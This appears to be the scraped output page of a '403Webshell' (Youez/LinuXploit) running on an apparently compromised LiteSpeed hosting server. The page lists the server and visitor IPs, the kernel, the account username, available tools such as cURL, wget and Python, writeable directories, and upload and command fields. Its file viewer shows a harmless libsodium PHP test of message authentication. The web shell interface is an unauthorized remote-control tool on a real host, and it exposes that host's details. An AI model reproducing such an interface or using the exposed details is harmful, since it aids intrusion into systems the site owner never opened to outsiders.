403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.188.80.46
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php74/root/usr/share/tests/pecl/libsodium/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php74/root/usr/share/tests/pecl/libsodium/tests/crypto_auth.phpt
--TEST--
Check for libsodium auth
--SKIPIF--
<?php if (!extension_loaded("sodium")) print "skip"; ?>
--FILE--
<?php
$msg = random_bytes(1000);
$key = sodium_crypto_auth_keygen();
$mac = sodium_crypto_auth($msg, $key);

// This should validate
var_dump(sodium_crypto_auth_verify($mac, $msg, $key));

$bad_key = random_bytes(SODIUM_CRYPTO_AUTH_KEYBYTES - 1);
try {
    $mac = sodium_crypto_auth($msg, $bad_key);
    echo 'Fail!', PHP_EOL;
} catch (SodiumException $ex) {
  echo $ex->getMessage(), PHP_EOL;
}

// Flip the first bit
$badmsg = $msg;
$badmsg[0] = \chr(\ord($badmsg[0]) ^ 0x80);
var_dump(sodium_crypto_auth_verify($mac, $badmsg, $key));

// Let's flip a bit pseudo-randomly
$badmsg = $msg;
$badmsg[$i=mt_rand(0, 999)] = \chr(
    \ord($msg[$i]) ^ (
        1 << mt_rand(0, 7)
    )
);

var_dump(sodium_crypto_auth_verify($mac, $badmsg, $key));

// Now let's change a bit in the MAC
$badmac = $mac;
$badmac[0] = \chr(\ord($badmac[0]) ^ 0x80);
var_dump(sodium_crypto_auth_verify($badmac, $msg, $key));
?>
--EXPECT--
bool(true)
key must be SODIUM_CRYPTO_AUTH_KEYBYTES bytes
bool(false)
bool(false)
bool(false)

Youez - 2016 - github.com/yon3zu
LinuXploit